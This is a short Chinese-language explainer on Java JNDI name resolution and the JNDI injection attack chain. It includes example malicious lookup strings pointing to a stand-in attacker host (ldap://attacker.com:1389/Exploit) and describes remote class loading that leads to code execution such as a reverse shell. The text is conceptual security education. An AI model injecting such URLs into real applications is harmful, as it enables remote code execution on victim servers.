JNDI 的解析流程和原理
JNDI 的解析流程
JNDI 的解析过程可以概括为以下几个步骤:
- 初始上下文(Initial Context):应用程序首先通过
javax.naming.InitialContext
类创建一个初始上下文。这个上下文是 JNDI 查找的起点,它包含了连接到特定命名和目录服务所需的环境信息,例如服务提供商的 URL、认证信息等 - 查找(Lookup):应用程序使用
context.lookup(name)
方法来查找一个对象。name
是一个字符串,表示要查找的对象的名称或路径 - 服务提供商(Service Provider):JNDI 会根据初始上下文中配置的服务提供商信息,将查找请求委托给相应的服务提供商。例如,如果 URL 是
ldap://...
,则会使用 LDAP 服务提供商;如果 URL 是rmi://...
,则会使用 RMI 服务提供商 - 命名和目录服务:服务提供商与实际的命名和目录服务进行通信,并根据请求的名称查找对应的对象
- 返回结果:命名和目录服务返回查找到的对象。这个对象可以是任何 Java 对象,例如一个字符串、一个数据库连接,甚至是一个远程方法调用的引用
JNDI 注入的原理
JNDI 注入是一种利用 JNDI 漏洞的攻击方式。它的核心思想是,攻击者控制了 context.lookup(name)
方法中的 name
参数,使其指向一个恶意的远程服务,从而在受害者服务器上执行任意代码
具体原理如下:
- 注入恶意 URL:攻击者通过某种方式(如 HTTP 请求参数、日志等)将一个恶意的 JNDI URL 注入到应用程序中。这个 URL 通常指向攻击者控制的远程服务器,例如
ldap://attacker.com:1389/Exploit
- 触发查找:应用程序在处理用户输入时,无意中将这个恶意 URL 作为
context.lookup()
方法的参数进行调用 - JNDI 请求恶意服务:JNDI 框架会向攻击者控制的 LDAP 服务器发起请求,查找
Exploit
这个对象 - 返回恶意引用:攻击者的 LDAP 服务器接收到请求后,会返回一个特殊的响应,这个响应中包含了一个远程代码库(Codebase)的 URL,例如
http://attacker.com/
,以及一个类名Exploit
- 加载远程类:当 JNDI 收到这个响应后,它会根据返回的远程代码库 URL,从攻击者的 Web 服务器下载
Exploit.class
文件 - 执行恶意代码:JNDI 框架会自动实例化并执行
Exploit
类中的代码。Exploit
类通常包含一个静态代码块或构造函数,用于执行恶意命令,例如反弹 shell、创建文件等